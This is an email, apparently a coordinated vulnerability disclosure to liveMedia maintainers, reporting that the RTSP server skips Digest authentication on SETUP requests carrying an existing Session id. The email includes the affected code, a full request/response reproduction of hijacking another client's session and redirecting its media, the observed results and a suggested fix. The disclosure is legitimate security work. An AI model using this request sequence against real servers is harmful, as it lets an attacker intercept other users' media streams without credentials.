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<div class="elementToProof" style="font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">
Hello,</div>
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<br>
</div>
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When the RTSP server is built with a UserAuthenticationDatabase (Digest auth</div>
<div class="elementToProof" style="font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">
required), a SETUP request that carries an existing "Session:" header is</div>
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processed WITHOUT authentication. Since SETUP sets the media destination, a</div>
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party that only knows a session id can -- with no credentials -- reconfigure</div>
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another (authenticated) client's session and make the server deliver that</div>
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client's media to a destination of the attacker's choosing.</div>
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<br>
</div>
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Tested against liveMedia version 2026.07.04 (Linux / x86-64), stock library.</div>
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<br>
</div>
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Affected code</div>
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-------------</div>
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In RTSPServer::RTSPClientConnection::handleRequestBytes(), the SETUP handler</div>
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authenticates only when the request has NO "Session:" header (the new-session</div>
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case):</div>
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<br>
</div>
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} else if (strcmp(cmdName, "SETUP") == 0) {</div>
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Boolean areAuthenticated = True;</div>
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if (!requestIncludedSessionId) {</div>
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...</div>
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if (authenticationOK("SETUP", urlTotalSuffix, ...)) {</div>
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clientSession = ... createNewClientSessionWithId();</div>
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} else {</div>
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areAuthenticated = False;</div>
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}</div>
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}</div>
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if (clientSession != NULL) {</div>
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clientSession->handleCmd_SETUP(...); // reached with NO auth when a</div>
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// Session: id is present</div>
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}</div>
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<br>
</div>
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A SETUP that includes a "Session:" id skips authenticationOK() entirely and</div>
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goes straight to handleCmd_SETUP() -> getStreamParameters(), which overwrites</div>
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the session's destination (address + ports).</div>
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<br>
</div>
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This is inconsistent with the other within-session commands, which are</div>
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authenticated. handleCmd_PLAY() documents the exact threat that re-SETUP</div>
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misses:</div>
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<br>
</div>
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// If we're authenticating, then check here, to protect against use of a</div>
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// stolen session id:</div>
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if (!ourClientConnection->authenticationOK("PLAY", rtspURL, fullRequestStr)) return;</div>
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<br>
</div>
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So PLAY is explicitly protected against a stolen session id, but a re-SETUP --</div>
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which is what controls where the media is sent -- is not.</div>
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<br>
</div>
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Reproduction</div>
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------------</div>
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The server:</div>
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<br>
</div>
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UserAuthenticationDatabase* auth = new UserAuthenticationDatabase("bug6");</div>
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auth->addUserRecord("user", "pass");</div>
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RTSPServer* s = RTSPServer::createNew(*env, port, auth);</div>
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// one "stream" with a WAVAudioFileServerMediaSubsession</div>
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<br>
</div>
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Two separate TCP connections:</div>
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<br>
</div>
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Connection A -- legitimate, authenticated client:</div>
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<br>
</div>
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A -> S: SETUP rtsp://host/stream/track1 RTSP/1.0</div>
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CSeq: 1</div>
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Transport: RTP/AVP/UDP;unicast;client_port=30002-30003</div>
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S -> A: RTSP/1.0 401 Unauthorized</div>
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WWW-Authenticate: Digest realm="bug6", nonce="..."</div>
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<br>
</div>
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A -> S: SETUP rtsp://host/stream/track1 RTSP/1.0</div>
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CSeq: 2</div>
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Authorization: Digest username="user", realm="bug6", nonce="...",</div>
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uri="rtsp://host/stream/track1", response="..."</div>
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Transport: RTP/AVP/UDP;unicast;client_port=30002-30003</div>
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S -> A: RTSP/1.0 200 OK</div>
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Session: EF73F9BB</div>
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<br>
</div>
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Connection B -- unauthenticated, only knows the session id:</div>
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<br>
</div>
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B -> S: SETUP rtsp://host/stream/track1 RTSP/1.0</div>
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CSeq: 1</div>
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Session: EF73F9BB</div>
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Transport: RTP/AVP/UDP;unicast;client_port=30004-30005</div>
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S -> B: RTSP/1.0 200 OK <-- accepted, no Authorization header</div>
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<br>
</div>
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The authenticated client then plays normally:</div>
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<br>
</div>
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A -> S: PLAY rtsp://host/stream RTSP/1.0</div>
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CSeq: 3</div>
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Session: EF73F9BB</div>
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Authorization: Digest ...</div>
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S -> A: RTSP/1.0 200 OK</div>
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<br>
</div>
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Observed result: every RTP/RTCP packet is delivered to connection B's ports</div>
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(30004/30005); connection A's ports (30002/30003) receive nothing:</div>
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<br>
</div>
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udp packets: owner_rtp=0 owner_rtcp=0 attacker_rtp=16 attacker_rtcp=2</div>
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<br>
</div>
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i.e. the authenticated client's own PLAY delivered the entire media stream to</div>
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the unauthenticated party. (The session id above, EF73F9BB, is server-assigned</div>
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and differs per run.)</div>
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Impact and preconditions</div>
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The attacker must know the session id. The session id is sent in cleartext in</div>
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every RTSP request and response, so any on-path observer of the control channel</div>
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obtains it, and no credentials are needed. Because getStreamParameters() uses</div>
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the address of the connection that sent the SETUP as the destination, on a real</div>
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network the media is redirected to the attacker's own host/port -- not merely a</div>
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different local port as in the loopback PoC. For the media-delivery path this</div>
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defeats the Digest authentication the server relies on, and which is explicitly</div>
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enforced for PLAY against this same "stolen session id" case.</div>
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Suggested fix</div>
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Authenticate SETUP requests that carry an existing "Session:" id as well -- e.g.</div>
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call authenticationOK("SETUP", ...) before dispatching to handleCmd_SETUP() in</div>
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the requestIncludedSessionId branch (or, more simply, authenticate every SETUP).</div>
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A legitimate client already holds credentials and re-authenticates transparently</div>
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under Digest, so this only closes the unauthenticated reconfiguration path and</div>
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makes SETUP consistent with PLAY / PAUSE / TEARDOWN.</div>
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The PoC (server.cc + client.py) is ready and reproduces the transcript above in</div>
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a single run against the stock library. I'm happy to provide any further detail</div>
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or test a patch. If you would like to assign a CVE for this, I can also supply</div>
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whatever information you need for the request and coordinate on disclosure</div>
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timing.</div>
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Best regards,</div>
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Zhou Qingyang</div>
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